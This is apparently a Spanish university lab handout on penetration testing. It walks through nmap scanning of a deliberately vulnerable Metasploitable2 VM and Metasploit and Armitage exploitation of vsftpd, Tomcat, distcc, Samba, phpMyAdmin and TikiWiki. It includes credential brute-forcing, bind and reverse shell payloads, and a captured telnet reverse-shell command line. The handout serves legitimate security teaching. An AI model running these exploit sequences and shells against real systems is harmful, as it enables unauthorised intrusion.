Ejemplo de tareas y herramientas típicas empleadas en los tests de intrusión.
En estas prácticas se empleará el software de virtualización VIRTUALBOX para simular los equipos GNU/Linux sobre los que se realizarán las pruebas.
alumno@pc: $ sh ejercicio-metasploit.sh
Powershell.exe -executionpolicy bypass -file ejercicio-metasploit.ps1
Notas:
$DIR_BASE
especifica donde se descargarán las imágenes y se crearán las MVs.
Por defecto en GNU/Linux será en $HOME/SSI1819 y en Windows en C:/SSI1819.
Puede modificarse antes de lanzar los scripts para hacer la instalación en otro directorio más conveniente (disco externo, etc)
.vdi.zip
de http://ccia.esei.uvigo.es/docencia/SSI/1819/practicas/ y copiarlos en el directorio anterior ($DIR_BASE
) para que el script haga el resto.
VBoxManage startvm <nombre MV>_<id>
Contiene un sistema Debian 9 con herramientas gráficas y un entorno gráfico ligero LXDE (Lighweight X11 Desktop Environment) [LXDE].
login | password |
---|---|
root | purple |
usuario | usuario |
root@datos:~# startx
Dispositivos -> Portapapeles compartido -> bidireccional
de la ventana de la máquina virtual.
Usuarios configurados.
login | password |
---|---|
msfadmin | msfadmin |
usuario1 | usuario1 |
Más información (de Mestasploitable2): Metasploitable 2 Exploitability Guide
Otro tipo de herramientas habituales en las etapas de enumeración son los escáneres de vulnerabilidades. Una de las más usadas es NESSUS (y su versión libre OpenVAS)
Nota: Aunque inicialmente NESSUS era un proyecto de código abierto, en la actualidad tiene una licencia privativa.
El proyecto libre OpenVAS continuó evolucionando el código de antigua versión Open Source de NESSUS y ofrece funcionalidades similares.
Desde la máquina ATACANTE
atacante:~# startx
atacante:~# nmap -sP 198.51.100.0/24
Nos informará de que hay 2 equipos en la red: la máquina ATACANTE (con dirección IP 198.51.100.111) y la máquina METASPLOITABLE (con dirección IP 198.51.100.222)
atacante:~# nmap -oX nmap.xml -O -sV -p1-65535 -T4 198.51.100.222
Descripción de las opciones
Importante: Este escaneo NMAP es extremadamente lento, para agilizar el ejercicio se muestra a continuación la salida obtenida y en la máquina virtual Atacante está disponible el resultado del análisis en formato XML (ver el archivo /root/nmap.xml)
Resultados obtenidos
root@atacante:~# nmap -oX nmap.xml -O -sV -p1-65535 -T4 198.51.100.222 Starting Nmap 7.40 ( https://nmap.org ) at 2018-10-14 23:11 CEST Nmap scan report for metasploitable2.ssi.net (198.51.100.222) Host is up (0.00073s latency). Not shown: 65506 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open shell Netkit rshd 1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open shell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 6697/tcp open irc UnrealIRCd 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb) 38940/tcp open status 1 (RPC #100024) 54693/tcp open nlockmgr 1-4 (RPC #100021) 56059/tcp open mountd 1-3 (RPC #100005) 58858/tcp open unknown MAC Address: 08:00:27:22:22:22 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1774.20 seconds
nmap.bck.xml
) con el resultado de un escaneo realizado previamente.
En este ejercicio veremos el uso del Framework Metasploit en tareas de explotación de vulnerabilidades y acceso a equipos comprometidos.
Metasploit es un Framework multiplataforma escrito en Ruby que abstrae las tareas típicas de una intrusión, ofreciendo un esquema modular donde combinar e integrar distintos tipos de exploits y herramientas de acceso y control de equipos y servicios comprometidos. Incluye también módulos adicionales para las fases de rastreo y enumeración, además de poder integrar la información proporcionada por otras herramientas como NMAP, NESSUS, OpenVAS, etc.
Ejemplos
vsftp
(ver. 2.3.4)
:)
)
exploit/unix/ftp/vsftpd_234_backdoor
cmd/unix/interact
Apache Tomcat
exploit/multi/http/tomcat_mgr_deploy
java/shell/bind_tcp
, java/shell/reverse_tcp
, java/meterpreter/bind_tcp
, ...
Su uso principal es como ”vector” para la inyección de un payload específico que ofrezca al atacante algún tipo de acceso y/o control del equipo compometido.
Uno de los payloads más potentes que ofrece Metasploit es Meterpreter. Se trata de un payload que ofrece un intérprete de comandos en el sistema comprometido, complementado con una serie de comandos específicos que soportan tareas típicas de una intrusión (recopilación de información del sistema comprometidos, keylogger, ocultación de rastros, etc).
Explicación de algunas funcionalidades de Meterpreter: comandos Meterpreter, tabla resumen [pdf]
Más información en http://www.metasploit.com y http://en.wikipedia.org/wiki/Metasploit_Project.
Consulta e información sobre los módulos disponibles: http://www.rapid7.com/db/modules
Detalles: curso on-line sobre metasploit
Ver resumen en Msfconsole Commands
Previo. Desde la máquina ATACANTE: iniciar los servidores incluidos en la distribución de Metasploit
atacante:~# systemctl start metasploit.serviceNota: el script de inicio de Metasploit fue deshabilitado y es necesario iniciarlo manualmente (también puede habilitarse el inicio de Metasploit durante el arranque con sytemctl enable metasploit.service)
Desde la máquina ATACANTE: arrancar msfconsole desde un terminal
atacante:~# msfconsole
Muestra un banner e información de la versión del framework, última actualización y número de módulos disponibles.
msf > db_status
De ser así:
atacante:~# systemctl stop metasploit.service atacante:~# systemctl start metasploit.service
msf > db_connect -y /opt/metasploit/apps/pro/ui/config/database.yml msf > db_status msf > db_rebuild_cache (sólo la primera vez)
Metasploit puede configurarse para utilizar una base de datos donde guardar información de los equipos localizados, sus servicios y vulnerabilidades, junto con información adicional como notas y eventos. Esa información puede generarla el propio Metasploit a partir de sus módulos Auxiliary o cargarla a partir de herramientas externas.
msf > db_nmap -O -sV -T4 198.51.100.0/24
Nota: También se puede importar el resultado del escaneo con NMAP realizado previamente
msf > db_import /root/nmap.xml
msf > db_import /root/nessus_report_Escaneo_Metasploit.nessus msf > db_import /root/report-openvas_Escaneo_Metasploit.xml
msf > hosts msf > services msf > vulns
Se puede recuperar, editar o eliminar información de un host o servicio específico (ver hosts -h o services -h)
msf > search vsftpdLa versión instalada cuenta con una puerta trasera introducida en su código. Metasploit tiene un módulo de tipo exploit para aprovecharla.
msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show info msf exploit(vsftpd_234_backdoor) > show options msf exploit(vsftpd_234_backdoor) > set RHOST 198.51.100.222 msf exploit(vsftpd_234_backdoor) > show payloads msf exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact msf exploit(vsftpd_234_backdoor) > show options msf exploit(vsftpd_234_backdoor) > exploitSe abrirá una shell en la máquina víctima donde ejecutar comandos (se finaliza la conexión con exit).
whoami
Para retornar al contexto inicial de MSFConsole (prompt msf >) se usa el comando back.
msf > search tomcatSe puede utilizar el exploit multi/http/tomcat_mgr_deploy (en el escaneo NESSUS se señala que este servidor usa las contraseñas por defecto, aunque para el ejemplo se asumirá que se desconoce ese dato)
Comprobar que está accesible la consola de administración del servidor accediendo a la URL http://198.51.100.222:8080/manager/html
Metasploitable2
(loguearse en Metasploitable2 con msfadmin/msfadmin) metasploitable:~$ sudo -i (con contraseña msfadmin) metasploitable:~# /etc/init.d/tomcat5.5 stop metasploitable:~# /etc/init.d/tomcat5.5 start
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > infoDebemos especificar valores para
HttpUsername
y HttpPassword
. Podremos intentar obtenerlos con un módulo auxiliar que prueba un diccionario de pares usuario+clave usando fuerza bruta.
msf > use auxiliary/scanner/http/tomcat_mgr_login msf auxiliary(tomcat_mgr_login) > infoDebemos especificar la máquina objetivo (RHOSTS: 198.51.100.222), el puerto (RPORT:8080), la URI de la aplicación de gestion de Tomcat (URI) y los ficheros con los nombres de usuario y las contraseñas a probar (USER_FILE, PASS_FILE).
Bastará con especificar el valor de RHOST y RPORT, con el resto de parámetros se usarán los valores por defecto
atacante:~# cd /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.17.16/data/ atacante:~# more wordlists/tomcat_mgr_default_users.txt atacante:~# more wordlists/tomcat_mgr_default_pass.txt
msf auxiliary(tomcat_mgr_login) > set RHOSTS 198.51.100.222 RHOSTS => 198.51.100.222 msf auxiliary(tomcat_mgr_login) > run [*] 198.51.100.222:8080 TOMCAT_MGR - [01/50] - Trying username:'admin' with password:” [-] 198.51.100.222:8080 TOMCAT_MGR - [01/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'admin' ... [*] 198.51.100.222:8080 TOMCAT_MGR - [16/50] - Trying username:'tomcat' with password:'tomcat' [+] http://198.51.100.222:8080/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat' ... [*] 198.51.100.222:8080 TOMCAT_MGR - [46/50] - Trying username:'both' with password:'tomcat' [-] 198.51.100.222:8080 TOMCAT_MGR - [46/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedNos informa que se puede acceder a la web de administración de Tomcat con las credenciales tomcat/tomcat
msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > infoDebemos especificar la máquina objetivo (RHOST), el puerto (RPORT), el path a la aplicación de gestion de Tomcat (PATH) y el nombre de usuario (HttpUsername) y la contraseña (HttpPassword).
msf exploit(tomcat_mgr_deploy) > set RHOST 198.51.100.222 msf exploit(tomcat_mgr_deploy) > set RPORT 8080 msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
Funcionamiento: El exploit creará un fichero WAR con una aplicación web Java ”maliciosa” cuya única misión será la de poner en ejecución dentro de la máquina víctima el PAYLOAD que especifiquemos.
En este ejemplo se usará el PAYLOAD java/shell/bind_tcp (conexión directa)
msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp msf exploit(tomcat_mgr_deploy) > show optionsEste PAYLOAD tiene sus propias opciones, exige que indiquemos la máquina víctima (RHOST, remote host) y el puerto de escucha en dicha víctima (LPORT, listening port)
msf exploit(tomcat_mgr_deploy) > set LPORT 11111 msf exploit(tomcat_mgr_deploy) > show options
Al lanzar el exploit se abrirá una sesión en la máquina víctima.
msf exploit(tomcat_mgr_deploy) > exploit [*] Started bind handler [*] Attempting to automatically select a target... [*] Automatically selected target "Linux x86" [*] Uploading 6213 bytes as nZAPfHCskfkmDVB.war ... [*] Executing /nZAPfHCskfkmDVB/97PNxj.jsp... [*] Undeploying nZAPfHCskfkmDVB ... [*] Sending stage (2439 bytes) to 198.51.100.222 [*] Command shell session 1 opened (198.51.100.111:42731 -> 198.51.100.222:11111) at 2018-10-14 23:42:21 +0200 ls -l total 76 drwxr-xr-x 2 root root 4096 2010-03-16 19:11 bin drwxr-xr-x 4 root root 4096 2011-12-10 10:31 boot ... lrwxrwxrwx 1 root root 30 2011-12-10 09:31 vmlinuz -> boot/vmlinuz-2.6.24-30-virtual uname -a Linux metasploitable.ssi.net 2.6.24-30-virtual #1 SMP Sun Oct 14 23:42:52 UTC 2011 i686 GNU/Linux whoami tomcat55 ...
Nota: Normalmente el exploit no funciona en el primer intento (aunque sí despliega, invoca y repliega la aplicación web maliciosa) y requiere invocar varias veces el comando exploit, hasta que finalmente abre la sesión.
whoami
En la víctima podemos comprobar que hay un nuevo proceso /bin/sh propiedad del usuario tomcat55 y sin terminal asociado.
metasploitable:~$ ps -aux | grep tomcat55
Podemos comprobar que la conexión está efectivamente establecida, lanzando el comando netstat -tn en ambos equipos.
atacante:~# netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State ... tcp 0 0 198.51.100.111:43550 198.51.100.222:11111 ESTABLISHED ... metasploitable:~$ netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 198.51.100.222:11111 198.51.100.111:43550 ESTABLISHEDNota: las sesiones se finalizan con CONTROL+C
Otro posible exploit sería java/shell/reverse_tcp con un comportamiento inverso a la hora de las conexiones. En este caso será el PAYLOAD en ejecución en la víctima quien se conectará a un puerto local de la máquina atacante (o de la máquina que le indiquemos).
msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/reverse_tcp msf exploit(tomcat_mgr_deploy) > show options msf exploit(tomcat_mgr_deploy) > set LHOST 198.51.100.111 msf exploit(tomcat_mgr_deploy) > set LPORT 22222 msf exploit(tomcat_mgr_deploy) > exploitDebemos especificar la dirección (LHOST, listening host) y el puerto (LPORT, listening port) a donde debe conectarse el PAYLOAD.
atacanteS:~# netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State ... tcp 0 0 198.51.100.111:22222 198.51.100.222:57091 ESTABLISHED metasploitable:~$ netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 198.51.100.222:57091 1198.51.100.111:22222 ESTABLISHED
Se puede ver el código Ruby con la implementación del exploit y del PAYLOAD
atacante:~# cd /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.17.16/modules/ atacante:~# less exploits/multi/http/tomcat_mgr_deploy.rb < buscar la función exploit > atacante:~# less payloads/stagers/java/bind_tcp.rb atacante:~# less payloads/stages/java/shell.rb atacante:~# less /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.17.16/lib/msf/core/payload/java.rbTambién está disponible el código Java inyectado por el exploit responsable de crear el intérprete de comandos y ponerse a la escucha. (ver http://schierlm.users.sourceforge.net/JavaPayload/) También se puede ver el aspecto que tendría un fichero WAR con el PAYLOAD seleccionado (no es exactamente el que desplegará el exploit anterior)
atacante:~# msfvenom -p java/shell/bind_tcp LPORT=33333 RHOST=198.51.100.222 W > /tmp/ejemplo.war atacante:~# cd /tmp atacante:/tmp# unzip ejemplo.war atacante:/tmp# cat metasploit.dat atacante:/tmp# ls -l metasploit/*
Armitage es un interfaz gráfico alternativo para Metasploit que pretende simplificar el uso del framework. Hace uso del servidor RPC integrado en el framework (msfrpcd) para acceder a las funcionalidades que ofrece Metasploit.
Desde un terminal de la máquina ATACANTE, arrancar Armitage
atacante:~# java -jar /opt/metasloit/armitage/armitage.jar &
Al inciarse la aplicación se nos piden los datos para conectarse al servidor RPC del framework Metasploit (msfrpcd).
Nota: Si el servidor RPC no está conectado con la Base de Datos de Metasploit, habilitar la conexión desde la consola de Armitage e inicializar el caché de módulos
msf > db_status cd msf > db_connect -y /opt/metasploit/apps/pro/ui/config/database.yml msf > db_status msf > db_rebuild_cache (sólo la primera vez)
En la sección de Hosts de Armitage se muestran iconos para los equipos registrados en la base de datos de Metasploit. En nuestro caso aparece el host que habíamos identificado anteriormente con db_nmap al incio del ejercicio. De ser necesario podrían lanzarse nuevos escaneos desde Armitage [[Menú Hosts] -> Import / NmapScan / etc ])
Armitage ofrece la funcionalidad de cruzar la información sobre servicios de un hosts con la información de los exploits para vincular a una máquina una lista de los potenciales ataques.
La opción [Menú Attack] -> HailMary va un paso más allá.
nmap
informó de que existe un servicio distcc
en el puerto 3632.
DistCC es un servicio que coordina la compilación distribuida de programas (ver http://en.wikipedia.org/wiki/Distcc). Mestasploitable incluye una versión vulnerable de este servidor.
En este caso se usará un PAYLOAD generic/shell_bind_tcp
Nota: En la “consola“ se muestra la secuencia de acciones equivalentes en msfconsole
Si el ataque tuvo éxito se modifica el icono del host y se añadirá un un submenú contextual Shell #
En la víctima se puede comprobar que hay procesos ”extraños“ en ejecución.
metasploitable:~# ps -aux | less metasploitable:~# pstree -aclu | less
Accediendo a la opción Post modules del menú contextual vinculado a la sesión con la víctima se muestran en el árbol izquierdo la lista de módulos de post explotación admitidos por el PAYLOAD actual.
nmap
informó de que existe un servidor Samba smbd
en los puertos 139 y 445.
Repitiendo las acciones del ejemplo anterior se puede intentar aprovechar una vulnerabilidad en el servidor Samba de Metasploitable para ganar acceso a la máquina comprometida.
Si en la víctima se comprueban los procesos en ejecución, de nuevo saldrán cosas ”extrañas“.
metasploitable:~# ps -aux | less metasploitable:~# pstree -aclu | lessEn este caso veremos que el exploit a inyectado un comando de shell que haciendo uso de la herramienta nc/netcat redireccióna la E/S de un intérprete de comandos sobre un puerto de la máquina atacante.
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 1.3 2848 1688 ? Ss 19:23 0:00 /sbin/init ... root 4568 0.0 0.1 3164 1024 ? S 13:28 0:00 telnet 198.51.100.111 24899 root 4569 0.0 0.1 2724 572 ? S 13:28 0:00 sh -c (sleep 4494|telnet 198.51.100.111 24899|while : ; do sh && break; done 2>&1|telnet 198.51.100.111 24899 >/dev/null 2>&1 &) ...
En la víctima hay instalada una versión antigua (y vulnerable) de phpMyAdmin
atacante:~# grep -i phpmyadmin report-openvas_Escaneo_Metasploit.xml
Pasos a seguir:
Se usará el exploit exploit/unix/webapp/phpmyadmin_config.
Se puede comprobar que la versión de phpMyAdmin instalada en Metasploitable es compatible con este exploit.
Lanzaremos de nuevo el exploit con un PAYLOAD más sofisticado. Usaremos un PAYLOAD (payload/php/meterpreter/bind_tcp) que carga la herramienta Meterpreter en la víctima (en este caso el código inyectado por el PAYLOAD es PHP)
Pasos a seguir:
msf exploit(phpmyadmin_config) > set PAYLOAD php/meterpreter/bind_tcp msf exploit(phpmyadmin_config) > show options msf exploit(phpmyadmin_config) > exploit
En la víctima también hay instalada una versión antigua (y vulnerable) del software de gestión de wikis TikiWiki
atacante:~# grep -i tikiwiki report-openvas_Escaneo_Metasploit.xml
Exploit a emplear: exploit/unix/webapp/tikiwiki_graph_formula_exec
Sobre el hosts 198.51.100.222: [botón derecho] -> Attacks -> webapp -> tikiwiki_graph_formula_exec
Se trata de realizar un ”simulacro” de informe técnico de un test de intrusión sobre la red que contiene la máquina METASPLOITABLE.
Esquema propuesto (hasta 5-6 páginas)
Entrega: FAITIC
Fecha límite: día del examen (8/1/2019)